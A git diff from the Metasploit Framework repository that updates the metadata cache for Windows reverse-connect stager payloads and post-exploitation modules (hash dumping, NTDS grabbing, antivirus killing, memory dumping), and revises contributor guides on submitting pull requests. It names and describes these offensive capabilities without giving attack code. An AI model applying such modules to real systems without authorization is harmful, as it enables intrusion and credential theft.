"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_tcp": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse TCP Stager",
|
||||
"fullname": "payload/windows/x64/custom/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_tcp_rc4": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_winhttp": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_winhttp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_winhttp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_winhttps": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_winhttps",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_winhttps",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/windows/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -200008,7 +204425,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-15 14:35:38 +0000",
|
||||
"mod_time": "2022-09-01 14:56:28 +0000",
|
||||
"path": "/modules/post/linux/gather/enum_system.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/enum_system",
|
||||
@@ -201230,17 +205647,17 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>",
|
||||
"egypt <egypt@metasploit.com>"
|
||||
],
|
||||
"description": "This module prints out the operating system environment variables",
|
||||
"description": "This module prints out the operating system environment variables.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux,Windows",
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 13:37:15 +0000",
|
||||
"path": "/modules/post/multi/gather/env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/gather/env",
|
||||
@@ -201248,8 +205665,18 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
@@ -203226,7 +207653,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-11-04 05:28:32 +0000",
|
||||
"mod_time": "2022-05-24 08:44:37 +0000",
|
||||
"path": "/modules/post/multi/recon/sudo_commands.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/recon/sudo_commands",
|
||||
@@ -205607,7 +210034,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-20 12:16:26 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/domain_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/domain_hashdump",
|
||||
@@ -208791,7 +213218,7 @@
|
||||
"author": [
|
||||
"averagesecurityguy <stephen@averagesecurityguy.info>"
|
||||
],
|
||||
"description": "This module will check the file system and registry for particular artifacts. The\n list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any\n matches are written to the loot.",
|
||||
"description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -208801,7 +213228,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-08-07 16:01:45 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_artifacts.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_artifacts",
|
||||
@@ -208809,8 +213236,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"powershell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -209142,7 +213580,7 @@
|
||||
"author": [
|
||||
"Joshua Abraham <jabra@rapid7.com>"
|
||||
],
|
||||
"description": "This module identifies the primary domain via the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\DCName.",
|
||||
"description": "This module identifies the primary Active Directory domain name\n and domain controller.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209152,7 +213590,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-09-08 13:35:22 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_domain.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_domain",
|
||||
@@ -209160,9 +213598,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"shell",
|
||||
"powershell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -209225,7 +213674,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-20 12:16:26 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_domain_tokens.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_domain_tokens",
|
||||
@@ -209515,7 +213964,7 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate current and recently logged on Windows users",
|
||||
"description": "This module will enumerate current and recently logged on Windows users.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209525,7 +213974,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-08-08 01:50:36 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_logged_on_users.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_logged_on_users",
|
||||
@@ -209533,8 +213982,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -209551,7 +214011,7 @@
|
||||
"author": [
|
||||
"Brandon Perry <bperry.volatile@gmail.com>"
|
||||
],
|
||||
"description": "This module will enumerate the OS license key",
|
||||
"description": "This module will enumerate Microsoft product license keys.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209561,7 +214021,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-24 16:06:55 +0000",
|
||||
"mod_time": "2022-08-21 16:00:27 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_ms_product_keys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_ms_product_keys",
|
||||
@@ -209569,9 +214029,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -209685,7 +214156,7 @@
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_powershell_env": {
|
||||
"name": "Windows Gather Powershell Environment Setting Enumeration",
|
||||
"name": "Windows Gather PowerShell Environment Setting Enumeration",
|
||||
"fullname": "post/windows/gather/enum_powershell_env",
|
||||
"aliases": [
|
||||
|
||||
@@ -209696,9 +214167,10 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate Microsoft Powershell settings",
|
||||
"description": "This module will enumerate Microsoft PowerShell settings.",
|
||||
"references": [
|
||||
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies",
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -209706,7 +214178,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 00:56:21 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_powershell_env",
|
||||
@@ -209714,9 +214186,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"shell",
|
||||
"powershell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -209841,7 +214324,7 @@
|
||||
"Keith Faber",
|
||||
"Kx499"
|
||||
],
|
||||
"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
|
||||
"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209851,7 +214334,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-09-09 17:27:19 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_services.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_services",
|
||||
@@ -209859,9 +214342,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -209877,7 +214371,7 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate configured and recently used file shares",
|
||||
"description": "This module will enumerate configured and recently used file shares.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209887,7 +214381,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-31 12:31:09 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_shares.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_shares",
|
||||
@@ -209895,14 +214389,25 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"powershell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_snmp": {
|
||||
"name": "Windows Gather SNMP Settings Enumeration (Registry)",
|
||||
"name": "Windows Gather SNMP Settings",
|
||||
"fullname": "post/windows/gather/enum_snmp",
|
||||
"aliases": [
|
||||
|
||||
@@ -209914,9 +214419,10 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>",
|
||||
"Tebo <tebo@attackresearch.com>"
|
||||
],
|
||||
"description": "This module will enumerate the SNMP service configuration",
|
||||
"description": "This module will enumerate the SNMP service configuration.",
|
||||
"references": [
|
||||
|
||||
"MSB-MS00-096",
|
||||
"URL-https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-096"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -209924,7 +214430,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-09-13 17:45:10 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_snmp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_snmp",
|
||||
@@ -209932,8 +214438,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"powershell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -210654,7 +215171,7 @@
|
||||
"author": [
|
||||
"smashery"
|
||||
],
|
||||
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n Options for DUMP_TYPE affect the completeness of the dump. \"full\" retrieves\n the entire process address space (all allocated pages).\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
|
||||
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -210664,7 +215181,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-24 18:04:29 +0000",
|
||||
"path": "/modules/post/windows/gather/memory_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/memory_dump",
|
||||
@@ -210782,7 +215299,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-08-20 12:16:26 +0000",
|
||||
"path": "/modules/post/windows/gather/ntds_grabber.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/ntds_grabber",
|
||||
@@ -210818,7 +215335,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-20 12:16:26 +0000",
|
||||
"path": "/modules/post/windows/gather/ntds_location.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/ntds_location",
|
||||
@@ -211077,7 +215594,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-20 12:16:26 +0000",
|
||||
"path": "/modules/post/windows/gather/smart_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/smart_hashdump",
|
||||
@@ -211746,7 +216263,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-08 12:56:52 +0000",
|
||||
"path": "/modules/post/windows/manage/forward_pageant.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/forward_pageant",
|
||||
@@ -211754,6 +216271,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -212005,7 +216531,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-09-07 14:01:53 +0000",
|
||||
"path": "/modules/post/windows/manage/killav.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/killav",
|
||||
@@ -212013,9 +216539,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"os-resource-loss"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -212342,7 +216879,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-08 18:00:36 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/exec_powershell",
|
||||
@@ -212369,7 +216906,7 @@
|
||||
"Ben Turner benpturner <Ben Turner benpturner@yahoo.com>",
|
||||
"Dave Hardy davehardy20 <Dave Hardy davehardy20@gmail.com>"
|
||||
],
|
||||
"description": "This module will download and execute one or more PowerShell script\n s over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
|
||||
"description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -212379,7 +216916,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-08-08 18:00:36 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/load_script.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/load_script",
|
||||
|
||||
@@ -6,6 +6,9 @@ However, tackling core Metasploit Framework bugs or particularly squirrelly expl
|
||||
|
||||
Metasploit is a tool by and for hackers, but the hackers that maintain it also happen to be software engineers. So, we have some hopefully easy-to-remember Do's and Don'ts in [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). Read up on those.
|
||||
|
||||
# Making Your First PR
|
||||
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn more about making your first PR at [[Creating Your First PR]]
|
||||
|
||||
# Server exploits
|
||||
|
||||
Server exploits are always in demand; why bother with complicated social engineering campaigns when you can go straight to the pain point of a vulnerable network. Here are some search queries to get you started:
|
||||
@@ -53,9 +56,6 @@ Again, there's always room on #metasploit on Freenode. Be helpful with the quest
|
||||
|
||||
You probably shouldn't run proof of concept exploit code you find on the Internet on a machine you care about in a network you care about. That is generally considered a Bad Idea. You also probably shouldn't use your usual computer as a target for exploit development, since you are intentionally inducing unstable behavior.
|
||||
|
||||
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn how to create one here:
|
||||
[[Landing-Pull-Requests]]
|
||||
|
||||
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
|
||||
|
||||
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
# Creating Your First PR - An Intro To Git and the PR Process
|
||||
## Intro
|
||||
Congratulations fellow traveler, so you're interested in contributing to Metasploit eh? Well welcome aboard, its going to be a fun ride!
|
||||
You'll learn lots along the way but here are some tips and tricks that should help you get started with making your first PR request
|
||||
whilst also avoiding some common pitfalls and learning how some of our systems work.
|
||||
|
||||
## Initial Steps and Important Notes
|
||||
The rest of this guide assumes you have already followed the steps at [Setting Up A Developer Environment](https://r-7.co/MSF-DEV) in order to get
|
||||
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
|
||||
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
|
||||
set up Ruby and optionally the PostgreSQL database, and done any custom shortcuts you wish to configure.
|
||||
|
||||
## Getting the Latest Version of Metasploit Framework
|
||||
Before making any new contributions, you will want to sure you are running the latest version of Metasploit Framework.
|
||||
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
|
||||
Rapid7 remote, aka Rapid7's copy of the code. You can verify that `upstream` is set correctly by running `git remote get-url upstream`
|
||||
and verifying it is set to `git@github.com:rapid7/metasploit-framework.git`.
|
||||
|
||||
Once you run this command, it will check out the `master` branch, then fetch all
|
||||
the changes from `upstream` (which should be configured to be Rapid7's copy of Metasploit Framework on GitHub). Once
|
||||
it has cached these changes, the `git pull` command will then pull these changes into the current branch, aka `master`.
|
||||
|
||||
Not pulling down changes before writing new code could lead to big issues down the line, particularly if someone has edited a file
|
||||
you intended to modify. In that case maintainers will then have to try find the right combination of changes to implement, which could lead
|
||||
to your PR being rejected if these changes are too complex.
|
||||
|
||||
## Making Sure Your Gems Are Updated
|
||||
The next step is to make sure you have the latest copy of the Gems that Metasploit Framework depends on. This can be done by running `bundle install`
|
||||
from the same directory as where the `Gemfile.lock` file is located, which will be in the same folder as wherever you cloned your fork to locally.
|
||||
|
||||
Doing this will allow you to make sure that you are running the latest libraries, which will ensure if you do encounter any bugs whilst
|
||||
developing code, those bugs are not related to out of date Gems being installed, and are therefore potentially legitimate bugs that need fixing.
|
||||
|
||||
## Creating a New Branch for Your Code
|
||||
